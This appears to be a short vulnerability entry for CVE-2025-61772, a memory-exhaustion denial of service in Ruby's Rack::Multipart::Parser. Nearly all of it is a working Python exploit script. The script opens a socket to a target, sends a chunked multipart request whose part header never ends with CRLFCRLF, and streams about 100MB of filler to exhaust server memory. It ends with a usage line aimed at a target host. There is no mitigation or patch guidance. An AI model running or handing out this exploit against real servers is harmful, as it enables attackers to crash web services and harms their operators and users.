CVE-2025-61772 Rack::Multipart::Parser内存耗尽拒绝服务漏洞

# CVE-2025-61772 PoC - Rack::Multipart::Parser Memory Exhaustion DoS # This PoC demonstrates how to trigger unbounded memory consumption # by sending a multipart request with incomplete header block (no CRLFCRLF terminator) import socket import time def send_malicious_multipart(target_host, target_port, target_path="/"): """ Send a multipart/form-data request where the header block never terminates with CRLFCRLF, causing unbounded memory accumulation in vulnerable Rack::Multipart::Parser versions. """ # Construct malicious multipart payload # Note: The boundary is defined, but the part header intentionally # lacks the required blank line (CRLFCRLF) terminator boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Build payload with header but no terminating CRLFCRLF payload_start = f"--{boundary}\r\n" payload_start += 'Content-Disposition: form-data; name="file"; filename="test.txt"\r\n' payload_start += 'Content-Type: text/plain\r\n' # Intentionally omit the CRLFCRLF that should terminate the header block # The parser will keep appending data to memory without size cap # Create the socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send HTTP headers http_headers = ( f"POST {target_path} HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Transfer-Encoding: chunked\r\n" f"Connection: close\r\n" f"\r\n" ) sock.send(http_headers.encode()) sock.send(payload_start.encode()) # Send large amount of data without CRLFCRLF terminator # Each chunk will be appended to memory by the vulnerable parser chunk_size = 1024 # 1KB per chunk total_size = 100 * 1024 * 1024 # Attempt to send 100MB for i in range(0, total_size, chunk_size): # Send data as chunked transfer encoding chunk = "A" * chunk_size chunk_header = f"{chunk_size:x}\r\n" sock.send(chunk_header.encode()) sock.send(chunk.encode()) sock.send(b"\r\n") if i % (10 * 1024 * 1024) == 0: print(f"[*] Sent {i // (1024 * 1024)}MB of malicious data...") time.sleep(0.1) # Small delay to allow memory accumulation # Terminate chunked encoding sock.send(b"0\r\n\r\n") sock.close() print("[+] Payload sent. Target should experience memory exhaustion.") # Usage example # send_malicious_multipart("target-server.com", 80, "/upload")